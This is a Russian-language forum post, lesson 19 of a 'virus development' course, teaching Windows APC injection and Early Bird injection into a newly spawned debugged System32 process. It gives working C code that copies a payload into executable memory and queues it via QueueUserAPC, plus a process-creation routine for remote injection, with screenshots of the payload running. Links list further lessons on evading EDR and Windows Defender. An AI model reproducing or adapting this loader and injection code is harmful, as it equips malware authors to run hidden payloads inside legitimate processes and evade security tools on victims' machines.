Уроки Разработка вирусов-19.Изучаем технику APC Injection


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
Предлагаю в этой статье рассмотреть один способ выполнения полезной нагрузки без создания нового потока. Этот метод известен как APC-инъекция.

Что такое APC? Асинхронные вызовы процедур (APC)
— это механизм операционной системы Windows, который позволяет программам выполнять задачи асинхронно, продолжая выполнять другие задачи. APC реализованы как процедуры в режиме ядра, выполняемые в контексте определенного потока.
Вредоносное ПО может использовать APC для постановки в очередь полезной нагрузки и последующего ее выполнения по расписанию.

Состояние готовности

Не все потоки могут выполнить поставленную в очередь функцию APC, это могут сделать только потоки в состоянии готовности. Такой поток находится в режиме ожидания. Когда поток переходит в состояние готовности, он помещается в очередь готовых потоков, что позволяет ему выполнять функции APC из очереди.

Что такое APC-инъекция?

Для постановки функции APC в очередь потока адрес этой функции должен быть передан в QueueUserAPC WinAPI.

Согласно документации Microsoft:

Приложение помещает APC в очередь потока, вызывая функцию QueueUserAPC. Вызывающий поток указывает адрес функции APC в вызове QueueUserAPC.

Адрес внедренной полезной нагрузки будет передан в QueueUserAPC для ее выполнения. Перед этим поток в локальном процессе должен быть переведен в состояние готовности.

QueueUserAPC

QueueUserAPC представлена ниже и принимает 3 аргумента:

pfnAPC - Адрес вызываемой функции APC.
hThread - Дескриптор потока, находящегося в состоянии готовности или приостановленного потока.
dwData - Если функция APC требует параметры, они могут быть переданы здесь. В коде этой статьи это значение будет NULL.

C:
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC,
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);

Перевод потока в состояние готовности

Поток, который будет выполнять поставленную в очередь функцию, должен находиться в состоянии готовности. Это можно сделать, создав поток и используя один из следующих WinAPI:

C:
Sleep
SleepEx
MsgWaitForMultipleObjects
MsgWaitForMultipleObjectsEx
WaitForSingleObject
WaitForSingleObjectEx
WaitForMultipleObjects
WaitForMultipleObjectsEx
SignalObjectAndWait

Эти функции используются для синхронизации потоков и улучшения производительности и отклика приложений, однако в этом случае достаточно передать дескриптор фиктивного события.
Передача корректных параметров этим функциям не требуется, так как простое использование одной из функций достаточно для перевода потока в состояние готовности.

Для создания фиктивного события будет использоваться WinAPI CreateEvent.
Новый объект события — это объект синхронизации, который позволяет потокам общаться между собой, сигнализируя и ожидая событий. Поскольку результат CreateEvent не имеет значения, любое действующее событие может быть передано ранее показанными WinAPI.

Использование функций

Ниже приведены примеры использования функций для перевода текущего потока в состояние готовности.

Используя Sleep:

C:
VOID AlertableFunction1() {
Sleep(-1);
}

Используя SleepEx:

C:
VOID AlertableFunction2() {
SleepEx(INFINITE, TRUE);
}

Используя WaitForSingleObject:

C:
VOID AlertableFunction3() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent){
 WaitForSingleObject(hEvent, INFINITE);
 CloseHandle(hEvent);
}
}

Используя MsgWaitForMultipleObjects:

C:
VOID AlertableFunction4() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent) {
MsgWaitForMultipleObjects(1, &hEvent, TRUE, INFINITE, QS_INPUT);
 CloseHandle(hEvent);
}
}

Используя SignalObjectAndWait:

C:
VOID AlertableFunction5() {
HANDLE hEvent1 = CreateEvent(NULL, NULL, NULL, NULL);
HANDLE hEvent2 = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent1 && hEvent2) {
 SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE);
 CloseHandle(hEvent1);
 CloseHandle(hEvent2);
}
}

Потоки созданные в приостановленном состоянии, также могут выполниться.
Если целевой поток создается в приостановленном состоянии. Если этот метод используется для выполнения полезной нагрузки, сначала следует вызвать QueueUserAPC, а затем возобновить приостановленный поток. При этом поток должен быть создан в приостановленном состоянии, приостановка существующего потока не сработает.

Код, представленный в этой статье, демонстрирует APC-инъекцию через поток в состоянии готовности и приостановленный поток.

Логика реализации APC-инъекции

В качестве итога, логика реализации будет следующей:

Сначала создайте поток, который выполняет одну из вышеупомянутых функций, чтобы перевести его в состояние готовности. Внедрите полезную нагрузку в память. Дескриптор потока и базовый адрес полезной нагрузки будут переданы в качестве входных параметров в QueueUserAPC.

Функция APC-инъекции RunViaApcInjection — это функция, которая выполняет APC-инъекцию и требует 3 аргумента:

hThread - Дескриптор потока, находящегося в состоянии готовности или приостановленного.
pPayload - Указатель на базовый адрес полезной нагрузки.
sPayloadSize - Размер полезной нагрузки.

C:
BOOL RunViaApcInjection(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

PVOID pAddress = NULL;
DWORD dwOldProtection = NULL;

pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
    printf("\t[!] VirtualAlloc не удалось выполнить с ошибкой : %d \n", GetLastError());
    return FALSE;
}

memcpy(pAddress, pPayload, sPayloadSize);

if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
    printf("\t[!] VirtualProtect не удалось выполнить с ошибкой : %d \n", GetLastError());
    return FALSE;
}

// Если hThread находится в состоянии готовности, QueueUserAPC непосредственно выполнит полезную нагрузку
// Если hThread находится в приостановленном состоянии, полезная нагрузка не будет выполнена, пока поток не будет возобновлен после этого
if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
    printf("\t[!] QueueUserAPC не удалось выполнить с ошибкой : %d \n", GetLastError());
    return FALSE;
}

return TRUE;
}

Демо - APC-инъекция с использованием потока в состоянии готовности

1695565783534.png


1695565811072.png


Демо - APC-инъекция с использованием потока в приостановленном состоянии

1695565861768.png


1695565885526.png


APC Injection в удаленном процессе


Теперь предлагаю использовать тот же API для выполнения полезной нагрузки в удаленном процессе. Хотя подход немного отличается, используемый метод остается тем же.

К этому моменту должно быть хорошо понятно, что инъекция APC требует либо приостановленного потока, либо потока в состоянии готовности для успешного выполнения полезной нагрузки.
Однако трудно найти потоки в этих состояниях, особенно те, которые работают с обычными правами пользователя.

Решение состоит в создании приостановленного процесса с использованием WinAPI CreateProcess и использовании дескриптора его приостановленного потока. Приостановленный поток соответствует критериям использования в APC инъекции. Этот метод известен как ранняя инъекция APC (Early Bird APC Injection).

Логика реализации Early Bird. Логика реализации этой техники будет следующей:
  1. Создать приостановленный процесс, используя флаг CREATE_SUSPENDED.
  2. Записать полезную нагрузку в адресное пространство нового целевого процесса.
  3. Получить дескриптор приостановленного потока из CreateProcess вместе с базовым адресом полезной нагрузки и передать их в QueueUserAPC.
  4. Возобновить поток с использованием WinAPI ResumeThread для выполнения полезной нагрузки.
Альтернативный способ реализации Early Bird APC Injection:

Будет использоваться CreateProcess, но флаг создания процесса будет изменен с CREATE_SUSPENDED на DEBUG_PROCESS. Флаг DEBUG_PROCESS создает новый процесс в качестве отлаживаемого процесса и делает локальный процесс его отладчиком. Когда процесс создается как отлаживаемый процесс, точка останова устанавливается в его точке входа. Это приостанавливает процесс и ожидает, когда отладчик (то есть вредоносное ПО) возобновит выполнение.

Когда это происходит, полезная нагрузка внедряется в целевой процесс для выполнения с помощью WinAPI QueueUserAPC. После внедрения полезной нагрузки и постановки в очередь отлаживаемого потока для выполнения полезной нагрузки, локальный процесс может быть отсоединен от целевого процесса с использованием DebugActiveProcessStop WinAPI, что прекращает отладку удаленного процесса.

DebugActiveProcessStop требует только одного параметра, который представляет собой PID отлаживаемого процесса, который можно получить из структуры PROCESS_INFORMATION, заполненной CreateProcess.

Обновленная логика будет следующей:
  1. Создать отлаживаемый процесс, установив флаг DEBUG_PROCESS.
  2. Записать полезную нагрузку в адресное пространство нового целевого процесса.
  3. Получить дескриптор отлаживаемого потока из CreateProcess вместе с базовым адресом полезной нагрузки и передать их в QueueUserAPC.
  4. Прекратить отладку удаленного процесса с использованием DebugActiveProcessStop, который возобновляет его потоки и выполняет полезную нагрузку.
Пример реализации:

CreateSuspendedProcess2 - это функция, которая создает процесс в приостановленном состоянии:
  • lpProcessName - Имя процесса для создания.
  • dwProcessId - Указатель на DWORD, который получит PID только что созданного процесса.
  • hProcess - Указатель на HANDLE, который получит дескриптор только что созданного процесса.
  • hThread - Указатель на HANDLE, который получит дескриптор только что созданного потока процесса.
C:
BOOL CreateSuspendedProcess2(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {

CHAR lpPath   [MAX_PATH * 2];
CHAR WnDr     [MAX_PATH];

STARTUPINFO            Si    = { 0 };
PROCESS_INFORMATION    Pi    = { 0 };

// Очистка структур, установка значений элементов в 0
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

// Установка размера структуры
Si.cb = sizeof(STARTUPINFO);

// Получение пути переменной окружения %WINDIR% (который обычно равен 'C:\Windows')
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
    printf("[!] GetEnvironmentVariableA не удалось выполнить с ошибкой : %d \n", GetLastError());
    return FALSE;
}

// Создание пути к целевому процессу
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
printf("\n\t[i] Запуск : \"%s\" ... ", lpPath);

// Создание процесса
if (!CreateProcessA(
    NULL,
    lpPath,
    NULL,
    NULL,
    FALSE,
    DEBUG_PROCESS,        // Вместо CREATE_SUSPENDED
    NULL,
    NULL,
    &Si,
    &Pi)) {
    printf("[!] CreateProcessA не удалось выполнить с ошибкой : %d \n", GetLastError());
    return FALSE;
}

printf("[+] ГОТОВО \n");

// Заполнение выходного параметра результатами выполнения CreateProcessA
*dwProcessId        = Pi.dwProcessId;
*hProcess           = Pi.hProcess;
*hThread            = Pi.hThread;

// Проверка наличия всего необходимого
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
    return TRUE;

return FALSE;
}

Далее необходимо:
  • Записать полезную нагрузку в адресное пространство нового целевого процесса.
  • Передать dwProcessId и адрес полезной нагрузки в QueueUserAPC.
  • Прекратить отладку удаленного процесса вызвав DebugActiveProcessStop, который возобновляет его потоки и выполняет полезную нагрузку.
Данные действия предлагаю выполнить в качестве домашнего задания.)))

Демо
На изображении ниже показан только что созданный целевой процесс в состоянии отладки. Отлаживаемый процесс выделен пурпурным цветом в Process Hacker.

1695567077016.png



Далее полезная нагрузка записывается в целевой процесс.

1695567111809.png


Наконец, полезная нагрузка выполняется.

1695567148161.png
 

Spectrum735

Просветленный
Просветленный
Регистрация
21.02.2019
Сообщения
264
Репутация
146
знаю только то, что APC это вендор ИБП
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
знаю только то, что APC это вендор ИБП
Если говорить про легальные приложения, то отложенный вызов процедур (APC) используется для синхронизации асинхронных потоков.

Ну-вот например, есть у тебя два потока, один поток главный, а второй поток по событию ожидает старта какого действия...

Вот главный поток, в нужный момент говорит второму потоку, начинай что-то делать (Посылает второму потоку событие), второй поток "просыпается" и начинает асинхронно выполнять событие, главный поток тоже в это-же время что-то делает.

В общем стандартная техника, но может использоваться и во вредоносном софте, как показано выше.)
 
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 5
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 3
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка вирусов-28. Предельная техника. Разборка с сисколами
Уроки Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking
Уроки Разработка вирусов-26. Изучаем кунгфу-1. Скрытие таблицы импорта
Уроки Разработка вирусов-25. Скрытие строк
Уроки Разработка вирусов-24. Изучаем технику Spoofing
Уроки Разработка вирусов-23. Контроль выполнения полезной нагрузки
Уроки Разработка вирусов-22.Изучаем технику Stomping Injection
Уроки Разработка вирусов-21.Инъекция отображаемой памяти
Уроки Разработка вирусов-20.Вызов кода через функции обратного вызова
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка вирусов-17.Изучаем технику Thread Hijacking
Уроки Разработка вирусов-16.Разборка с цифровой подписью зверька
Уроки Разработка вирусов-15. Прячем Payload в реестре
Верх Низ